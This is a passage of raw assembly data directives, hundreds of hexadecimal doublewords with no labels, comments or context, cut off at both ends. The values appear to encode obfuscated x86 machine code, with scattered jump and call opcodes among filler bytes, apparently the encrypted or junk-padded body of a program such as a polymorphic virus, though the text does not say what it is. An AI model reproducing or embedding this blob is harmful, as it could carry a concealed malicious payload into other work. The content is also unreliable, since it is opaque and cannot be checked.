958AE8F7h, 14800F4Dh, 0E9000000h dd 0Fh, 0FCEAFCCFh, 3C3B21F7h, 5FB17B1Ch, 81C6ECC9h, 7493CCD8h dd 0BE9604Fh, 0E3000000h, 0F81CCB48h, 707840FEh, 61F867C7h dd 48C0Fh, 0BB660000h, 0FB8BBBC3h, 11E8h, 0A1812700h, 839791EFh dd 0A2CF3061h, 4113F429h, 8B66FEECh, 10E958C8h, 0BE000000h dd 8678C61Ah, 0A2C92D46h, 0F3ACBDD3h, 667ABAF0h, 8171F3BBh dd 58323EC6h, 0D9816623h, 10E98CEEh, 4B000000h, 0BA893D10h dd 6D6A3C29h, 7456B53Eh, 0BB422C97h, 31993036h, 8A03C680h dd 0C68B66D9h, 0B70FDF8Bh, 0C9BF66D2h, 60CE8A85h, 0F0E78166h dd 0C98160F1h, 0A331193h, 8E9h, 79A4CE00h, 0A7ED9255h dd 66616109h, 60E9D9BAh, 1800FF8h, 0F8000000h, 0FE86061h dd 0D3000000h, 6357E075h, 0F05C5B15h, 0C02F104Dh, 860F2355h dd 0 dd 0FE86158h, 0A000000h, 63DD9440h, 8AE67B9Bh, 0B99C4123h dd 81662535h, 58FE45CAh, 12E9h, 457AB00h, 82F49272h, 0E430309Ch dd 43A85E02h, 60C2A6E8h, 0C30FCE81h, 8B617AD9h, 663AB7C3h dd 0E9F5F78Bh, 13h, 20A02002h, 0B8E8159Eh, 9F975DA3h, 0DBB6F9F4h dd 800E7C14h, 0EB8A26C4h, 810FEB8Ah, 3, 0E9F98B66h, 5 dd 0E0C321AFh, 0E1816695h, 8E0F42FFh, 4, 75E8BE66h, 0E8FA8B66h dd 10h, 0B68F13BAh, 46AA7FE1h, 2F36C259h, 8FBF3DD6h, 128D0Fh dd 0CE80000h, 0A9000000h, 0C1E35500h, 6F2B636Dh, 5AB4530Ah dd 55D8805Ah, 71BE66FCh, 3FB3F506h, 0CE8h, 0AB1EDC00h dd 76150AEh, 0E0D4CC4Bh, 0DE9FCh, 0D9C30000h, 9785EA17h dd 76B05057h, 5F893575h, 4D6AB966h, 0AE8h, 174FE900h, 0BE5CE910h dd 66379765h, 665AD08Bh, 0F08AE781h, 8E8h, 77519600h, 252DEA8Fh dd 27F9BF7Bh, 0F597E15h, 584h, 0C579BA00h, 0EE87716h, 0BA000000h dd 28853519h, 0C5C9F65Eh, 3F75201Dh, 0F1816679h, 0E9596155h dd 12h, 0CC798D73h, 47699FE2h, 0BCA9EB68h, 6CD588D5h, 0CE91560h dd 34000000h, 70A0900Fh, 0B5D6D79Fh, 0F5E9FBFEh, 5E77B866h dd 6611D880h, 665DD981h, 0FE9h, 0CB96FD00h, 0B01EF392h dd 9163B314h, 0F03C4A3h, 669BC180h, 2886E881h, 38E0Fh dd 0DD800000h, 666051F7h, 0E6B6D78Bh, 8B665A61h, 37BA66C8h dd 2880F49h, 8B000000h, 5800FD0h, 66000000h, 4154CF81h dd 58C0Fh, 81660000h, 668387C1h, 0BF0FC28Bh, 0FE9F7h, 2A960000h dd 9EE147E8h, 0F487F664h, 28A8CDE1h, 3CBE66ABh, 7E9A7h dd 0AB560000h, 0ECFB13A6h, 54B866D8h, 68D0FD3h, 81000000h dd 82C5A2E9h, 3860F28h, 80000000h, 820F5BE1h, 5, 0F4D28166h dd 0CF8160C1h, 3226FFAh, 6661C28Bh, 0E248E681h, 69BE66h dd 9E9F9h, 16150000h, 811A8BADh, 609BED5Eh, 13E960h, 3DC90000h dd 19721548h, 3EF43FDh, 55E08388h, 1280C743h, 61F38BFBh dd 61DE8B66h, 0A7B7D3BFh, 58F9571Fh, 0C810Fh, 7E90000h dd 0A2000000h, 554B9EDEh, 0B460163Ch, 61C68B14h, 13840Fh dd 0EE90000h, 0C000000h, 0A686D859h, 0BBDBFB80h, 7CA3494Fh dd 0A104B80Fh, 816645C8h, 0FCDDEFC3h, 6E9h, 1D9ED800h dd 0E940C24Bh, 7, 0A886A21Ah, 0FDD4E9Bh, 889h, 8A0F6000h dd 0 dd 0C18B6661h, 0BF0FF78Bh, 3850FF9h, 0F000000h, 0BE8D0BFh dd 0F5000000h, 0CDA2CB06h, 9A6D4E6Bh, 5E8B9C2h, 0B0000000h dd 57673366h, 5E9h, 49997400h, 5A5EB485h, 0FD78B66h, 1B86h dd 8E800h, 8CD30000h, 598B1A35h, 8E916DDh, 13000000h, 5C8487C6h dd 58BD10CBh, 8BC88B66h, 2EDEBAC8h, 0FE83D8Fh, 8A000000h dd 0D02926DFh, 21761405h, 4A19404h, 0B70FD714h, 0BE859FEh dd 8F000000h, 5D259773h, 2A605B39h, 0E68077F2h, 0EE85FB8h dd 2D000000h, 1ADF0E52h, 0C7587ADh, 629A0D65h, 0FBBF0F1Eh dd 0F08B665Bh, 6DFCF081h, 6E966A7h, 0EF000000h, 71D3B6E1h dd 35D2813Eh, 0E97A7D5Dh, 0Dh, 97565687h, 1261552Eh, 0B1B73BD2h dd 0B70F5143h, 880F5FC2h, 4, 0C644BF66h, 0DACABF66h, 8E39B866h dd 6649B4F8h, 662D04B8h, 8A0FF78Bh, 4, 0B529BA66h, 0F5E1D780h dd 0BE8h, 7A730400h, 750A2184h, 850BFD91h, 0DE9h, 93BABB00h dd 0DE9B58DDh, 5E847995h, 805BB0FAh, 0BE87AD3h, 80000000h dd 4FBBDBFBh, 0F7CA349h, 0DE81B2E8h, 4E5B1582h, 17880F5Eh dd 60000000h, 850Fh, 0AE90000h, 9D000000h, 0CE3BAB11h dd 7B4D3DECh, 8F0F61A0h, 1Bh, 12E8h, 4AECCD00h, 0CFB416CAh dd 0A8A756E6h, 0A9FAD22h, 669B0CE3h, 665BCA8Bh, 1953C381h dd 0A198B966h, 0B866F18Bh, 0E95057A0h, 14h, 53BA7BCFh dd 1520FD24h, 79899A9Ah, 99358500h, 0DE69B4A8h, 38A0F5Fh dd 66000000h, 0B966F88Bh, 0C28BA6D5h, 1459CB81h, 0CA8B396Ch dd 88BFF58Ah, 812CEA5Eh, 66E5BE8h, 0DA816658h, 0BF0F3B73h dd 3850FF3h, 0F000000h, 5DB8C6BFh, 8A0CA218h, 4870FF9h dd 66000000h, 52E6ACBAh, 0AB47BA66h, 0C6B70F58h, 8E8h dd 9510B300h, 0CD0BA59Bh, 77A3BF3Ah, 0BA5B6840h, 4ABEFA74h dd 850F60F8h, 1Ah, 14E8h, 0B7B79100h, 85A5158Dh, 222462D8h dd 33F04211h, 87B378C9h, 0BE665B2Bh, 0E8617E07h, 8, 6832FB29h dd 0CCD29D2Ch, 816659F9h, 66ED06DFh, 660170BEh, 860FF98Bh dd 6, 850Fh, 7E90000h, 57000000h, 4BA031D5h, 9E8ECE7h dd 34000000h, 0DB87A39Ah, 0CED4C2D7h, 48C0Fh, 0BF660000h dd 815F6CFCh, 611DF7CBh, 0FE97Eh, 1A1A0000h, 0EC71F15Ah dd 0B11F510Eh, 0AAB1AC3Bh, 0BF05BF78h, 81662AB2h, 0F537FD8h dd 381h, 0F8BF0F00h, 3225B966h, 0FC8BF0Fh, 8B66FBBFh, 8B6660C7h dd 28A0FF3h, 51000000h, 0B70F6158h, 4880FDAh, 66000000h dd 0F9DC3BAh, 0A82h, 5E900h, 45270000h, 0B76D5479h, 66C18BE4h dd 34E8D281h, 5E8h, 3D11D700h, 8B6653C0h, 15B65EC1h, 60D52EB9h dd 0F1805205h, 12E95E09h, 4F000000h, 0B14D43BBh, 0E50E9879h dd 0C459F0A8h, 1F07F551h, 6E9D7h, 0D4310000h, 7B34B337h dd 0F5C1BF66h, 3D261ABFh, 850F6046h, 14h, 0FE9h, 23C0100h dd 0F59D6146h, 244C2DDBh, 0B112C6E4h, 0AAC6F3BEh, 11E86115h dd 3D000000h, 2F41543Dh, 481A606Bh, 0AADD8518h, 0C1712CBCh dd 0A97A41B9h, 81665A09h, 66A442E2h, 0E84124BEh, 7, 0A9875146h dd 5ED82E70h, 318BE781h, 8E0F1B75h, 0 dd 0B22CE81h, 0B70F3098h, 69BA56F6h, 582D7DDFh, 0BE9h dd 0EC61E700h, 0ED1B7B1Eh, 0B5CA63D6h, 8820Fh, 8D0F0000h dd 2, 0E9605F51h, 13h, 49742016h, 7151086Ah, 8FDDC84Ch dd 0B1F8BD0h, 669D635Fh, 1154E181h, 0FDAEB961h, 0FF51A69h dd 0BB66D0B7h, 5652F779h, 11E9h, 0B383C900h, 0D1EA2B20h dd 0D7A44CADh, 0FE752945h, 585B40BBh, 0F7816652h, 0E9589264h dd 0Dh, 103A9CACh, 35166DB2h, 3AFE92ECh, 0D381508Ah, 13BE6AFh dd 0C6B70F5Ah, 7E9h, 7B1D8E00h, 515947D0h, 12C98166h, 0F88B6639h dd 0BE9h, 5C881600h, 5C2F9C2Fh, 903DE104h, 10E9h, 787F3F00h dd 8FBB1B19h, 0A921556Eh, 0C8BA6E5Ah, 78F0F4Bh, 56000000h dd 0F3B4D1B9h, 0D8B65825h, 28D0Fh, 0A4B00000h, 88CA8166h dd 75BA663Ch, 0FBB70FB7h, 0FFB8B66h, 0FBB6FAB7h, 7E9h dd 0FFDB6F00h, 69DADDB5h, 0FEC68166h, 0F181667Ah, 870FFF32h dd 5, 964520B8h, 6179BB52h, 7E84A65h, 5B000000h, 0A42196A3h dd 8166A0CAh, 5B193EE1h, 14E94FB6h, 0A9000000h, 81C29228h dd 7985EC36h, 25198A14h, 0C2B03CAFh, 0E8B0CC67h, 11h, 2B052199h dd 73EABD59h, 0CC9D0E80h, 6F6C4AC6h, 860F85h, 59000000h dd 5870Fh, 17BF0000h, 812CA1E3h, 6B3BA3E6h, 5F0ABE54h dd 10E90843h, 0F5000000h, 0E9548529h, 46320148h, 483FFE11h dd 8BF63807h, 0D5D681FEh, 0F15083Bh, 486h, 0C1BB6600h dd 0BE991h, 4C880000h, 942BCAB1h, 0A46258DEh, 13E81Dh dd 39CE0000h, 0C75E1BB6h, 571BB5B5h, 4A4F6674h, 0FA0C142Bh dd 850F5E36h, 0Ah, 800F60h, 60000000h, 9E86161h, 0E8000000h dd 3FB310A1h, 411276D7h, 5E616053h, 0C0BF0F58h, 10E9h dd 18E87500h, 1E1F7825h, 372B4B04h, 176883D0h, 4ABEF5B3h dd 0E87F7DB3h, 14h, 1A320D8Dh, 0B05D5282h, 37F9A7DDh, 0E9CADF3Eh dd 0A22A3056h, 0E1A6B966h, 0AE85Bh, 17970000h, 0DCC0E028h dd 5513411h, 38F0Fh, 0BF0F0000h, 0DE815EF1h, 30B6961Fh dd 0DF8B66F5h, 7DE89BBEh, 96BB6607h, 46B96628h, 2162B875h dd 40B378FBh, 86DB8166h, 9F58026h, 66CB8B66h, 662A67B8h dd 3587F181h, 57EE8166h, 0DE8C3h, 0C9F00000h, 0BF15DF0Fh dd 17C28017h, 0FF442ADh, 0F59F1BFh, 586h, 0D1816600h, 8D0FFA76h dd 0 dd 8166C88Ah, 0E8B310E7h, 0Ah, 36177588h, 0F8A0882Ah, 0F381AA02h dd 150BBBABh, 13E858h, 7C30000h, 57C3FECDh, 8AE9764Ch dd 0FD6DC3DCh, 0A89FDB4Fh, 0D60EBA0Ah, 66592106h, 668B0AB9h dd 68BEC38Bh, 606C08AFh, 6661F98Bh, 0B8F5E281h, 0C7CB8166h dd 0C38B66A3h, 66CF8B66h, 0C7EBEA81h, 0F0A7EE81h, 0E9565570h dd 9, 159B656Ah, 673768A3h, 8A0F5E6Bh, 7, 1880Fh, 81F50000h dd 0A86E8AD7h, 66D98B66h, 4499C881h, 66FAD580h, 51813ABEh dd 5ED1B70Fh, 0E4C5F181h, 0F08040F2h, 3FB966E4h, 0BE96Ch dd 6A580000h, 33C63771h, 0FC164247h, 0DE96063h, 6D000000h dd 1229A894h, 0DD428C2Ah, 0CE9C8071h, 0AE961h, 0FBA10000h dd 0DD25170Ah, 0E12A390Ah, 0DE9F9h, 0C71C0000h, 0F01F0A13h dd 48ED0D36h, 66FE2825h, 0BE6302BEh, 0C4BEDAAh, 66C18B66h dd 52E366BEh, 810F60h, 0E8000000h, 0Ah, 1E472F6Dh, 495640BCh dd 615E5494h, 51CE8B5Fh, 0A810F58h, 0F000000h, 48Bh, 0AFB96600h dd 11E953B0h, 0CD000000h, 0C28BF5h, 0E0E601B4h, 0DD91559Eh dd 0C310915Eh, 0BA665158h, 0F5F3153h, 81F9D7B7h, 5288A2D2h dd 2AD1810Bh, 0E95B6B18h, 0Eh, 0ACDEC0D2h, 0C28D120Ah dd 0B38F3662h, 81664B0Ch, 0E91005C2h, 11h, 0B79B4FBDh dd 0D8941D11h, 5A6A33FBh, 0D6FC3BE1h, 850F56BCh, 3, 59F9BF0Fh dd 0AA0DDEB9h, 0E9C68B5Ch, 9, 0A873F2EEh, 83EA6D9Eh, 9E88Ah dd 3F900000h, 7EE086AAh, 66C85FAAh, 0BA5EC88Bh, 5BB646D0h dd 0E8804CB2h, 0E9F08B3Ah, 0Dh, 8E11369Ch, 7E618912h, 0DC358639h dd 0E4E18174h, 664A1827h, 0B866CE8Bh, 860F7831h, 1, 14E9F9h dd 0E82D0000h, 9F7580E0h, 0A3636582h, 1309F69Eh, 0FF5BAE04h dd 0BFB18B35h, 5E9h, 30C95B00h, 81660A67h, 666952C2h, 4DF7C881h dd 6699DB80h, 0DA6ED181h, 27BFDA8Bh, 52437F4Dh, 13E8h dd 98B66400h, 0B4D0B2E5h, 4ECC8551h, 0D703CC48h, 0DDEB4C5Ah dd 8B0Fh, 585B0000h, 0FF98B66h, 0FE9D3BFh, 0E6000000h dd 64D2658Bh, 11AD14EAh, 0F58619Bh, 8B66E9F4h, 0CE8D7h dd 80280000h, 92C2DDEDh, 2B3DAA64h, 5E96FB1h, 85000000h dd 0A520ED15h, 5810F59h, 0B8000000h, 514E1CF9h, 0FE8h dd 1D483500h, 4D3FE9C5h, 96DF3A75h, 1D1BCB85h, 0F0BF0F5Bh dd 36FEBA66h, 0B5D68166h, 0AE969h, 92C70000h, 70C3B137h dd 0B1022938h, 0F5D08B66h, 0FD08B66h, 48Eh, 5E505100h dd 0D98B6659h, 7E8h, 0FF689B00h, 0FE6CCBF8h, 0ED3DBF5Ah dd 0B96605A7h, 0BF66AF56h, 7E98FF3h, 0B6000000h, 8849124Eh dd 0C6808599h, 66C58A34h, 4BAEF781h, 52D78166h, 0F0B96615h dd 0E9606051h, 13h, 0CA3D8313h, 38156E4Fh, 71E4B594h, 0E95F1169h dd 0E85192D1h, 0Eh, 6875CBBFh, 0AFBE4649h, 9E73687Fh, 615AA4C6h dd 1C31BE60h, 820F44A3h, 0 dd 0CA816161h, 5D48A2C6h, 8166D78Bh, 8B27D1DEh, 62DD80F3h dd 8DD78166h, 5E919h, 3F1C0000h, 0F54A4446h, 0EE8166F9h dd 0B966A056h, 0E860BAC9h, 9, 976ACE91h, 668D8ED2h, 59616036h dd 0DE861h, 0DB410000h, 0A7C8E699h, 32943FFAh, 0E815FF7Bh dd 6, 0E555CA03h, 0F8B1F0EDh, 0F605B5Eh, 38Dh, 8FEA8000h dd 0E961F78Ah, 0Dh, 22C2CDA3h, 675FEF8Fh, 0E68C8EC3h, 6E9C5h dd 66460000h, 82277779h, 810Fh, 0E18A0000h, 0E9C18166h dd 0F8BA50F2h, 5E757B7Ch, 73C081F8h, 8B4B1DCEh, 0A2EE81D7h dd 0E96DD509h, 7, 0ED3F4923h, 81AC68B2h, 64439EEEh, 0AE9F800h dd 38000000h, 17B8ACD4h, 48F9FEC3h, 0C8BF0F31h, 13E8h dd 4F4DC900h, 504BDB2Bh, 0C4BC784h, 0E13D7863h, 73436134h dd 0FCF68166h, 8A0F5E8Ah, 0Ch, 6870Fh, 0E7810000h, 3AB92729h dd 0F89AE181h, 0FE97632h, 61000000h, 0C6FF9689h, 0D2F4E2CBh dd 6F46289Dh, 9E9B33Fh, 96000000h, 0A968D51Ch, 5759B5E3h dd 535FC181h, 0BE86B3Dh, 92000000h, 0B6B59EC0h, 0B72C9A4Fh dd 665A7B68h, 820FF08Bh, 9, 38D0Fh, 0B70F0000h, 48D0FFFh dd 66000000h, 66EBEABEh, 8B66C38Bh, 860FF9D1h, 3, 6696D480h dd 8DB1E881h, 0C900BE66h, 5060DD80h, 0AE9h, 26CE9500h dd 0E9958EEAh, 5B21432Fh, 0FD2B70Fh, 285h, 667DB400h, 66CE84BAh dd 0E9CD3BBBh, 0Eh, 901ED3D5h, 70F916D9h, 72C18E5Eh, 8A607D2Dh dd 40F080F1h, 0F9BF0F61h, 0D7FDD281h, 0EE8060Fh, 0C8000000h dd 78E59EB0h, 40A765Fh, 57CEB407h, 0BB6660B1h, 616005C1h dd 6AB75E61h, 0E2FABA66h, 7DACB866h, 12E9h, 23744200h dd 33FA330Bh, 0E2ACF63Bh, 0BA8D1ABFh, 660FC175h, 4255D181h dd 810F60F8h, 2, 13E95F50h, 2E000000h, 0E476118Eh, 90ADAD38h dd 5684B1BEh, 316A98A5h, 0E96188AFh, 12h, 0F85E52DDh, 926708A0h dd 0ACBA8A97h, 0A692826h, 8166790Dh, 6606C8C9h, 8057C68Bh dd 0BB5973F4h, 5C53D58Dh, 0BE9F8h, 40400000h, 2EC2A1AAh dd 30C15CDAh, 138B0FEFh, 60000000h, 0E9D7BF0Fh, 9, 0F77B6ADAh dd 0ACF015D6h, 840F6114h, 5, 1BC18166h, 13E8BDh, 4730000h dd 99BA590Eh, 0E2251AE7h, 91C0AFEh, 1B8E6C9h, 0D0BF0F02h dd 53C68B58h, 53CEC281h, 525E19C3h, 5BDBB70Fh, 0C12D63BBh dd 0F8BF0F6Ah, 12E8h, 3176A400h, 23151B83h, 51EAABBAh dd 8AF26F63h, 669866B7h, 0D5E081h, 0F8B5F859h, 91D7C681h dd 61BB5BA8h, 0E929876Fh, 0Ch, 25E4D9DEh, 844AEECCh, 0E53AFBF1h dd 0FF3BF0Fh, 0D80h, 0E6816000h, 5BAF8AEBh, 0DDA8166h dd 0ACB561E1h, 0FFE8B66h, 66F5F6B7h, 0F0D46B9h, 28Bh, 60C38B00h dd 0E840Fh, 9E90000h, 0C0000000h, 69B8FE20h, 335989BAh dd 61DE8B66h, 6E9h, 0AF6EC900h, 66520E6Fh, 880FF78Bh, 3 dd 0F59E380h, 5852F0B7h, 47B4DA8Bh, 66F5FE8Ah, 0B4B7F88Bh dd 48C0Fh, 0B9660000h, 80579110h, 805E14E7h, 0B70F96E4h dd 0EE8C8h, 98E10000h, 1BEC0C26h, 0BF76FA4Ch, 0A74F794Eh dd 5FDBB70Fh, 9E9h, 0E1A13B00h, 7ACF98F0h, 0D08BF1D8h dd 9860Fh, 8B0F0000h, 3, 0E8CF8B66h, 9, 0C370B4A1h, 0ECC70F21h dd 2810F04h, 8A000000h, 8E859CBh, 0D0000000h, 80FE38BFh dd 600182E3h, 0E128E081h, 0BF0F4F51h, 0B85A61CAh, 526A3C7Dh dd 0F681DD8Ah, 6D060BBh, 5850Fh, 7EBF0000h, 0B47FD0F8h dd 0AE9FBh, 993F0000h, 0C8C7CB2h, 76B3B9F2h, 0F9599BAh dd 138F0F76h, 0E9000000h, 0Eh, 0A8F978Dh, 193DA073h, 0FCB51C76h dd 8F0FF288h, 19h, 0DE8h, 0B03EEE00h, 37AE68F4h, 44A154DDh dd 810F342Fh, 0 dd 50F6815Ah, 0F4E622Ah, 8B66CBBFh, 0B70F60C7h, 0E68166C9h dd 666192A7h, 0E8DC9DB8h, 6, 0C69C38CDh, 870FBE1Ah, 6 dd 850Fh, 665B0000h, 0E1ECC081h, 8B66C28Bh, 0DE9DFh, 0BD040000h dd 0FCCB6827h, 0F848FAC6h, 80D0B01Ah, 8F0F66C7h, 1, 0E881FCF8h dd 260E2404h, 58D0Fh, 81660000h, 0E9D7C7DEh, 0Ch, 0E46196Dh dd 0B5BACD8Bh, 0B1B1752Ah, 198F0FFCh, 0E9000000h, 14h dd 23512A09h, 62E0BA56h, 0BA4109Ch, 1CD28DA2h, 0CED4931h dd 5187E781h, 8D0F208Fh, 4, 5E5E5151h, 11E8h, 89149600h dd 9EFE0E23h, 0B7F3016Bh, 8217A159h, 0BF0F0D2Dh, 805158C6h dd 0F55A98CCh, 0E840Fh, 8E80000h, 0D8000000h, 0E88350E0h dd 5BA1A9E6h, 8B0FFC60h, 3, 61C18B66h, 0F60B4F8h, 38Fh dd 0C1BF0F00h, 2800Fh, 0DA8A0000h, 76CBD081h, 6B60FF6h dd 0B70F5A53h, 0B8CE8BF8h, 32382194h, 0EE4CC5B9h, 0E957F976h dd 7, 6B628975h, 5F6A5C55h, 0F6DF480h, 68Dh, 80EB8100h dd 0F53FA91Fh, 0B7B45E53h, 0C38B6651h, 0D18B665Ah, 4DCB8166h dd 66F18B0Eh, 81FCCE8Bh, 59159D7h, 0FE91Dh, 884A0000h dd 64152240h, 4A7B3FE7h, 0CF87878Fh, 2830F93h, 8A000000h dd 0D6B70FEAh, 290FBB66h, 0FFA8B66h, 8Ah, 198E0F00h, 0E8000000h dd 0Fh, 1FCE6CBBh, 53198014h, 268A80Dh, 66EAF4BAh, 5BB5DAB8h dd 8BD6BF0Fh, 8157F8CFh, 0E4D7C7EFh, 81665F58h, 53678ADEh dd 0BE8h, 0F5105300h, 8E779A70h, 808F0D98h, 59C78B66h dd 6E959h, 77C00000h, 9095AF34h, 0B265E181h, 0E96010B4h dd 14h, 207635C0h, 4650FD94h, 46196DC7h, 0BACD8B0Eh, 0B1752AB5h dd 61F8B70Fh, 5E8h, 0F5C8F400h, 5EF8A818h, 0D6F6D681h dd 0E8530FDFh, 0Eh, 9200F079h, 16A8DBAAh, 0B37AA0BAh, 7FB60089h dd 8E95E58h, 0C6000000h, 14166A77h, 8132D109h, 0B8A735E2h dd 0FFD8A1Ch, 8B53F9BFh, 816659FAh, 0B8F567C0h, 4BB6A380h dd 7E9h, 95A8200h, 0D91F29EFh, 6680DA80h, 80CDE9BFh, 66607FE7h dd 0F6A8E981h, 9E86061h, 0A1000000h, 87342F44h, 6E785ED2h dd 58CABF0Fh, 0FE960h, 0F0EF0000h, 0A7D421E6h, 0C25AD506h dd 8DE84F9h, 60616145h, 0D296BA66h, 611AE180h, 6D7FDE81h dd 66606F94h, 0AA1DD981h, 0D8816660h, 5950B4D3h, 12E86161h dd 0C3000000h, 0ACA12CCCh, 8310D1F7h, 917B3C28h, 0BFCD4E8Bh dd 0F681661Fh, 66590206h, 0F780FA8Bh, 45CC80F6h, 5840Fh dd 50B90000h, 0F1F5D37h, 82h, 0E2B86600h, 0EE9A9h, 212A0000h dd 77D21670h, 78195D6h, 90C7532Bh, 0EE8h, 0A6293400h, 0D0DE1CB1h dd 3C77D8E0h, 0F1CD538h, 681h, 890F00h, 5E000000h, 3820Fh dd 8B660000h, 0BE9DEh, 50670000h, 0DF56EE20h, 49CABF92h dd 13E950h, 10BB0000h, 8AA4E1CDh, 0F8FBBF09h, 405679D7h dd 922D9960h, 3CA9B895h, 880F0576h, 12h, 6E8h, 5927D400h dd 81A3B6F1h, 0B12EA6F1h, 0C38B5A3Bh, 0E987C180h, 11h dd 3C3B21F7h, 5FB17B1Ch, 0EAC6ECC9h, 5984722Eh, 0D3BF0FE0h dd 7A2AE981h, 8B6640D6h, 0BE9D1h, 0FC1F0000h, 0E19872DAh dd 71A91689h, 6820FB4h, 0F000000h, 8Fh, 1EC88000h, 6890Fh dd 8E0F0000h, 0 dd 5E8CA8Ah, 0F2000000h, 3ACBFE05h, 0FEB70F50h, 8AF95A5Ah dd 0A2DBEC1h, 4EB73F8Ch, 0F6B70FFCh, 0AE8D68Bh, 5B000000h dd 0D29A5D8Ch, 907DDEF3h, 0F9BF0FAEh, 8BF38B5Fh, 1860FD7h dd 0F5000000h, 12E9h, 9026A400h, 0B3829531h, 1E2C1391h dd 0F4D1F33Bh, 6010DD5Bh, 6E960h, 0C1150000h, 888CD8AFh dd 0AE9h, 3F282C00h, 0E4163AF2h, 61D0ABD8h, 58DF8B53h dd 12E861h, 0F8C0000h, 0F55D0978h, 9D87C59Bh, 201C93CBh dd 2BCDE2FAh, 68A0Fh, 850F0000h, 0 dd 850FF55Ah, 2, 10E95B50h, 0AD000000h, 0D37DB32Eh, 4332AC66h dd 0CD26CBBAh, 66A3F827h, 880FFA8Bh, 5, 57E98166h, 0FD68B77h dd 0D8Ch, 8E900h, 0DDF40000h, 0C62E3603h, 0BE66EC34h, 23BF3E47h dd 6647014Fh, 0FF0DF181h, 0E9D1B70Fh, 0Ch, 53219F2Ah, 83BA4B15h dd 37C2E05Ah, 0BE9D08Bh, 81000000h, 76340042h, 0DABA5001h dd 0E9604440h, 6, 8E8C9684h, 9E80867h, 0FE000000h, 0E80600E4h dd 62301E73h, 61585952h, 3890Fh, 0BF0F0000h, 13E8C7h, 959F0000h dd 61D2D080h, 3EFEAEF1h, 0B6FD8AC0h, 3CBF3487h, 58CF8AA0h dd 5850Fh, 71B80000h, 5706CB1Eh, 59C38B66h, 2860F60h, 8B000000h dd 61F18BCAh, 66FEBF0Fh, 0C181C88Bh, 621ABAC4h, 0B2B96FB5h dd 817770D9h, 97F63DEFh, 8850F4Ch, 51000000h, 5DC4DF81h dd 0F587764h, 7E9F6B7h, 15000000h, 0BB000F24h, 810F2832h dd 10h, 0BE9h, 39E67800h, 0EFEEABDEh, 0C619ED44h, 5E9h dd 3BF6B000h, 6656EC6Bh, 5EB59BBAh, 12E8h, 3C887600h, 4BFE855Bh dd 1A3CB9F5h, 0A221F6Ch, 5BB7F108h, 8166CB8Bh, 6057AAD1h dd 6820Fh, 0C3810000h, 79EF1E20h, 0B70F6061h, 0EF8166F8h dd 0E861005Dh, 0Dh, 0C3A44896h, 0CEC921F5h, 5AFB5152h dd 4850FE8h, 66000000h, 5A72D6BFh, 5BFE8B52h, 0E972DB80h dd 14h, 387D76C8h, 9A0B1CACh, 0B0CFAE30h, 189AA37Fh, 0D540D147h dd 0FE8F88Bh, 0CC000000h, 96AE1985h, 13181606h, 74959BE5h dd 0A7B4892Ch, 0ADB1FC5Bh, 0DE9h, 0BE99C300h, 0E0C22B18h dd 476F9EDAh, 666069DEh, 3524C381h, 6033DF81h, 0E86153DAh dd 0Eh, 27E35307h, 0CF924F3Eh, 2A6629F4h, 81662998h, 5ABC40F1h dd 8575FDBFh, 0B70F5220h, 0BF665FC6h, 81661850h, 0B727C5E1h dd 0EA81667Dh, 8B669734h, 0E38160F2h, 2366D7E2h, 3E0FA3BBh dd 0BE8615Bh, 0B5000000h, 51FFD74Eh, 635000BEh, 8EB5039Ch dd 0DA81665Eh, 0FCF58CE4h, 8D0Fh, 0B70F0000h, 98BF66DEh dd 0E915B1BCh, 11h, 0F3CBC1Ah, 2356DAA8h, 26E5C42Dh, 71C66537h dd 0DFF6815Bh, 0BA0273A1h, 55B66646h, 14E9C28Bh, 23000000h dd 0C4325F54h, 0D215A830h, 2D4E2BB4h, 2A806F81h, 0F4BDC92h dd 38Fh, 0CFB70F00h, 0BE8h, 0DBCAC100h, 167B6B88h, 317F8BBh dd 5E9h, 80902F00h, 0FC5F2C45h, 8001F380h, 0CE80CDEDh dd 0BE53F81Dh, 2CAF9693h, 0C881665Eh, 0B866E80Dh, 0E280BE77h dd 26B356BDh, 0CC41B859h, 81662245h, 0E90439CBh, 0Eh, 5778ADC5h dd 0A032C32Bh, 6FD42942h, 10E95CDDh, 8C000000h, 73EEE72Dh dd 7214A144h, 77E76C02h, 8166D1D5h, 656306C6h, 9E906h dd 0B7F60000h, 9A328D82h, 801CA8B1h, 8166FBC2h, 603390D6h dd 0EA8ABBB4h, 10E961h, 0F1F30000h, 283F1E08h, 6E927C58h dd 8817F742h, 0DE9F807h, 0BB000000h, 1D6B6AAAh, 61C8D036h dd 9159070Fh, 0E8B0Fh, 9E90000h, 0A4000000h, 449DD6CFh dd 3005241Bh, 0AC06BF66h, 13E9h, 2DEFE00h, 44E5F2A0h, 5A9089A3h dd 2F27FAFFh, 0AA104271h, 0BCF8051h, 0C1815258h, 1DD17F7h dd 7E95Fh, 0B2390000h, 0DF3F6BDCh, 2DD880C5h, 0F88B6657h dd 0E9F98B5Bh, 0Ah, 53321C65h, 6C210EFCh, 0D880D20Ch, 11E900h dd 0CA4A0000h, 0E6CFB416h, 22A8A756h, 0E30A9FADh, 56929B0Ch dd 0F02FCA81h, 665F0AF8h, 8AB0D4BBh, 12B966EBh, 8B666009h dd 0DD64B8D9h, 0F610014h, 53BBFAB7h, 0F5194F47h, 0CE9h dd 0B0E4AE00h, 0EE15CC3Ah, 4EF26B31h, 0C7B70F96h, 13E9h dd 5940A500h, 3F5443F4h, 0C378F94Eh, 6220369h, 0D01088FAh dd 8A83E080h, 12E8CAh, 2DD0000h, 0B1DC605Dh, 0A5A42A7Ah dd 0BC640CBEh, 0DBF0BAC6h, 48A0Fh, 0BE660000h, 665F2215h dd 0E9954FBBh, 0Ch, 0B5B131F4h, 39D1DE7Fh, 30AD4D67h, 0B8C68B66h dd 57A5445Dh, 8CC8BF66h, 0FFC60F5h, 0E861C7BFh, 8, 3983452h dd 0BB96AD83h, 5B1DC180h, 0FF3B70Fh, 484h, 24BA6600h, 7E990h dd 92F40000h, 3FA6FF36h, 0FBE38160h, 0E97F5AFEh, 7, 0CB7E636Ah dd 516503BAh, 0EB816658h, 20BA202Ch, 564D873Ch, 5BD08B66h dd 4B7CBE66h, 6E9h, 52ADA700h, 0B0B50D8Eh, 0EE98Ah, 28EB0000h dd 64BF174h, 5CB57CB1h, 0E3E7E8CAh, 0F0BF0FFCh, 5820Fh dd 41B80000h, 0E97009A4h, 14h, 31D63B53h, 33868F63h, 5AE1AB87h dd 0A642B736h, 3F66E4C4h, 3890Fh, 8B660000h, 0D890FDEh dd 51000000h, 6E9h, 4A05C600h, 5F1C0469h, 178C0F52h, 0E8000000h dd 11h, 2C298AC4h, 5E46696Ch, 5C6AC584h, 